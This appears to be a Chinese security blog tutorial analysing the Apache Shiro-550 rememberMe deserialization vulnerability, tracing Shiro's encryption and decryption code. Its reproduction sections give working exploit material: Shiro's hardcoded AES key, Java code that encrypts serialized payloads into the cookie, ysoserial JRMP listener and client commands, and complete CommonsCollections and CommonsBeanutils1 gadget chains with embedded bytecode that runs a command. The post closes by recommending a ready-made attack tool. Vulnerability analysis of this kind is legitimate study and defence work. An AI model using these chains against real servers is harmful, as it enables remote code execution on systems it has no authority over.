1. 首页
  2. 渗透测试

入坑Java安全之Shiro-550漏洞分析

【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。

声明:本公众号文章来自作者日常学习笔记或授权后的网络转载,切勿利用文章内的相关技术从事任何非法活动,因此产生的一切后果与文章作者和本公众号无关!

0x00 前言

    虽然Shiro-550反序列化漏洞已经出来很久了,但在某些大型活动中依然有它的身影,本文将从底层代码对这个漏洞进行深度剖析(狗头),分别从漏洞分析、漏洞复现两大模块展开。


    0x01 漏洞分析

    原理

    当Shiro收到未经验证的用户请求时,会进行以下操作:

    • 提取Cookie中rememberme的值
    • Base64解密
    • AES解密
    • 反序列化


    所以当攻击者获取到AES加密的Key时,即可将Payload通过Key进行AES加密,然后Base64编码,最后设置为Cookie中rememberme字段的值,从而造成RCE。这也是为什么很多工具要求你提供Key,没有Key就通过常见的内置Key进行爆破。


    原理很简短,有嘴就行,但是代码上它究竟是怎么跑的呢?我们带着两个问题去研究:

    • 加解密过程是怎样的?
    • 工具中的内置Key是从哪里提取出来的?

    环境搭建

    我这里是 JDK1.8 +Tomcat 9 + p神的环境,下载完直接导入IDEA,等待依赖加载完毕后,配置Tomcat即可下载地址(https://github.com/phith0n/JavaThings/tree/master/shirodemo)


    默认账号密码:guestguest

    加密流程


    网上很多师傅都是直接将断点下在AbstractRememberMeManager#rememberSerializedIdentity(),因为能够触发这个方法的时候就意味着你已经通过了身份认证


    程序要给你的Cookie中加上rememberme字段了,然后逆着推,我个人当时看的时候不太舒服,这里我们以三个点进行分析,不然有点乱,也不好理解



    身份认证点


    这里我已经调试过很多次了,我们直接将断点下在AuthenticatingFilter#executeLogin()这个执行登录判断的方法


    这里上来就通过createToken()获取一个AuthenticationToken对象,里边的值其实是我们输入的账号、密码、host以及你是否点击了rememberme这个按钮



    接着进入Login()方法,程序会调用DefaultSecurityManager#login()对Token中的字段进行校验,判断是否有这个用户,如果没有就会像下面这张图



    通过身份验证后,这里会返回一个SimpleAccount对象,里边就是用户的信息,然后通过一一系列的方法去调用本类中的rememberMeSuccessfulLogin(),注意rmm中的值,此时我们可以清楚的看到他的加密算法,加密模式,填充模式

    • 加密算法:AES
    • 加密模式:CBC
    • 填充模式:PKCS5Padding



    继续往下,rmm通过onSuccessfulLogin()去调用isRememberMe(),判断你是否点击了“remember me”这个按钮



    假如开启了,就会进入真正地加密流程,也就是rememberIdentity()方法,这里有多处重写



    身份加密点

    我们直接来到关键点,在103行,程序通过convertPrincipalsToBytes()开启加密之旅,首先会对之前查出来的对象进行序列化

    然后获取加密服务对象,不为空则对序列化后的对象进行加密


    跟进AbstractRememberMeManager#encrypt(),又获取了一遍加密服务,再次通过加密服务调用encrypt(),此时我们可以看到,加密服务中的值正是上边总结的加密算法、加密模式与填充模式



    注意第二个参数,这个方法就是获取Shiro硬编码Key的方法


    后边就是获取iv向量然后进行AES加密



    再将加密后的byte返回给bytesource

    通过getBytes()获取混淆后的数据,至此,程序将认证后的身份通过序列化、AES加密,最终传入到rememberSerializedIdentity()中,开启最后一步

    Set-rememberMe点

    这一步就很简单了,将混淆后的数据在Base64编码,然后设置到Cookie中


    Burp中也获取到了对应的值,至此加密流程结束


    解密流程

    抓一个经过认证的包,把里边的JSESSIONID删掉,将断点设置在CookieRememberMeManager#getRememberedSerializedIdentity(),这里同样以三个点分析,不同的是不会向上边那么详细,因为每个类中的加密方法都对应着解密方法




    获取Cooki中的rememberMe并解码

    CookieRememberMeManager#getRememberedSerializedIdentity()中实现

    AES解密

    来到AbstractRememberMeManager#decrypt(),还记得AES加密在哪里做的么?就是在这个方法的上边两行做的,又是熟悉的[-84,-19,…],此时已经是一个对象的byte了



    反序列化Byte

    来到DefaultSerializer#deserialize(),可以看到程序通过readObject()将Byte转化为了对象,假如我们拿到了Key,并且有该站点的反序列化利用链,便可对其进行反序列化攻击。至此,漏洞原理部分结束,建议大家调一调。


    0x02 漏洞复现

    数组的问题

    我们生成CC6的Payload

    import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;
    public class GetPayload{    public static void main(String []args) throws Exception {        byte[] payloads = new CommonsCollections6().getPayload();        AesCipherService aes = new AesCipherService();        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");        ByteSource ciphertext = aes.encrypt(payloads, key);        System.out.printf(ciphertext.toString());    }}

    却无法成功利用



    根据报错,来到org/apache/shiro/io/DefaultSerializer.java#deserialize


    可以看到在加载Transformer的时候报错了,这里的L代表数组,也就是Transform[]

    这里涉及到JVM底层的类加载机制,原因就是shiro重写了resolveClass(),导致我们的Transform[]无法被正常反序列化(找不到类)

    JRMP突破限制


    这里有两种方式可以破局,一是使用JRMP进行RCE,另一种就是构造不含数组的Gadget,我们首先来用JRMP进行RCE


    开启恶意JRMP服务端

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 "calc"


    生成JRMPClient Gadget

    java -jar ysoserial.jar JRMPClient "127.0.0.1:12345" > poc.ser


    AES加密

    import Util.toUnSerialize;import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.util.ByteSource;
    public class CommonsCollectionsJRMP{    public static void main(String[] args) throws Exception {        byte[] payloads = toUnSerialize.get("poc.ser");        AesCipherService aes = new AesCipherService();        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");        ByteSource ciphertext = aes.encrypt(payloads, key);        System.out.printf(ciphertext.toString());    }}
    


    发送Payload,成功解锁计算器



    不含数组的Gadget


    另一种方式是改造CC2,关于CC链的分析可以看一下这篇文章,之前我们是使用ChainedTransformer()去包裹Transformer[],其实这一步是可以省略的,我们来看LazyMap#get()


    如果这里的factory是InvokerTransformer,那么就会进行反射,而这里的key就会作为执行invoke的对象


    如果此时input是TemplatesImpl,iMethodName是newInstance,就会通过反射执行任意代码,来个Demo

    package Ser;
    import Util.toSerialize;import Util.toUnSerialize;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;
    public class CC2 {    // 封装通过反射修改属性的操作    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }
        public static void main(String[] args) throws Exception{        // calc 字节码        byte[] bytes = Base64.decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTGNvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcAJgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAZABoHACcMACgAKQEABGNhbGMMACoAKwEAH2NvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABYACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAGAAEABkADQAaAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=");        // TemplatesImpl链        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});        setFieldValue(templates, "_name", "HelloTemplatesImpl");        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        // 定义 iMethodName        Transformer transformer = new InvokerTransformer("newTransformer", null, null);        // 定义 factory        Map lazyMap = LazyMap.decorate(new HashMap(), transformer);        // 定义 InvokerTransformer.transform() 中的input属性        lazyMap.get(templates);    }}

    解锁计算器


    所以接下来的任务是找找谁的readObject直接或间接的动态调用了get(),这里用到了CC6中的TiedMapEntry#hashcode()间接动态调用get()


    剩下的就跟CC6一样了,入口点还是通过HashMap#readObject()->hash()->key.hashCode(),所以最终的Payload如下:

    package Ser;
    import Util.toSerialize;import Util.toUnSerialize;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;
    public class CC2 {    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }
        public static void main(String[] args) throws Exception{        byte[] bytes = Base64.decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTGNvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcAJgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAZABoHACcMACgAKQEABGNhbGMMACoAKwEAH2NvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABYACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAGAAEABkADQAaAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=");        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});        setFieldValue(templates, "_name", "HelloTemplatesImpl");        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());                Transformer transformer = new InvokerTransformer("getClass", null, null);        Map lazyMap = LazyMap.decorate(new HashMap(), transformer);        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
            Map hashMap = new HashMap();        hashMap.put(tiedMapEntry, "test");        lazyMap.clear();
            setFieldValue(transformer, "iMethodName", "newTransformer");
            new toSerialize(hashMap);        new toUnSerialize("poc.ser");    }}

    将poc.ser进行AES加密,发送Payload即可



    0x03 CommonsBeanutiles1

    相信在大家面试的时候,可能会被问到Shiro反序列化,有Key没有利用链怎么办?这个问题,这里指的应该是下面这个情况


    那这种看似没有利用链的情况应该怎么解决?P神提出使用Shiro自带的CommonsBeanutils构造Gadget


    这里主要用到了它的静态方法PropertyUtils.getProperty(),这个方法的功能有点像Fastjson的autotype功能,我们来个Demo

    package CB1;
    import org.apache.commons.beanutils.PropertyUtils;
    public class CommonsBeanutiles_{    public static class Dog{        private String name = "Dooooooog";        public String getName() {            return name;        }
            public void setName(String name) {            this.name = name;        }
            public String getCalc() throws Exception{            Runtime.getRuntime().exec("calc");            return "Hacked...";        }    }
        public static void main(String[] args) throws Exception{        PropertyUtils.getProperty(new Dog(),"calc");    }}

    其中我们定义了内部类Dog,可以看见有一个计算器方法getCalc(),而PropertyUtils.getProperty(new Dog(), “calc”)的意思就是,调用Dog类下calc的getter方法,即getCalc()


    看过我Fastjson系列的兄弟应该知道TemplatesImpl链在应用的时候,要给一个OutputProperties属性,这是因为Fastjson会自动调用属性的getter、setter方法,进而调用newTransformer()



    这里同样适用


    还是同样的思路,找谁调了getProperty()



    这里compare()在CC4中我们用过,在PriorityQueue#siftDownUsingComparator()中动态调用


    所以最终CB1的利用链就是这样,就不分解演示了,如果看不懂可以自己调一下或者去看我之前分析CC链的文章吧 🙂

    package Ser;
    import Util.toSerialize;import Util.toUnSerialize;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import com.sun.org.apache.xerces.internal.impl.dv.util.Base64;import org.apache.commons.beanutils.BeanComparator;import java.lang.reflect.Field;import java.util.PriorityQueue;
    public class CB1{    // 封装 getDeclaredField等重复性操作    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(fieldName);        field.setAccessible(true);        field.set(obj, value);    }
        public static void main(String[] args) throws Exception{        // calc 的恶意字节码        byte[] bytes = Base64.decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTGNvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcAJgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAZABoHACcMACgAKQEABGNhbGMMACoAKwEAH2NvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABYACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAGAAEABkADQAaAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=");        // TemplatesImpl链        TemplatesImpl templates = new TemplatesImpl();        setFieldValue(templates, "_bytecodes", new byte[][]{bytes});        setFieldValue(templates, "_name", "HelloTemplatesImpl");        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());        // BC1 的关键点, BeanComparator对象        BeanComparator beanComparator = new BeanComparator("outputProperties");        // 设置 comparator, 以便于调用 BeanComparator#compare()        PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, beanComparator);        // 修改size, 为了满足 PriorityQueue#heapify() 的验证条件        setFieldValue(priorityQueue,"size",2);        // 修改queue, 为了满足 PropertyUtils.getProperty() 进而触发RCE        setFieldValue(priorityQueue,"queue",new Object[]{templates,1});        // 序列化与反序列化        new toSerialize(priorityQueue);        new toUnSerialize("poc.ser");    }}


    将poc.ser内容进行AES加密,发送给Shiro站点,解锁计算器


    这里我产生了一个疑问,明明都是CB1,为什么ShiroAttack2.2、ShiroExploit等优秀工具就不可以?于是我反编译看了一下伪代码,原因就在这里


    第一,它们都是用的yso的CB1,所以依赖CommonsCollections组件


    第二,即使目标站点有CommonsCollections组件,CB1链依然利用不了,原因就是Shiro1.2.4自带的是CommonsBeanutiles1.8.3,会触发serialVersionUID错误

    0x04 总结

    Shiro550依然大型活动的高危漏洞之一。现在ShiroAttack也已经将CB1集成进去了,并且像其他的一些问题(Tomcat header长度限制、无回显、内存马)也都做出了相应的解决方案,剩下的就看谁的key多了。附上下载地址(https://github.com/SummerSec/ShiroAttack2)

    原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/5738.html

    联系我们

    400-800-8888

    在线咨询:点击这里给我发消息

    邮件:admin@example.com

    工作时间:周一至周五,9:30-18:30,节假日休息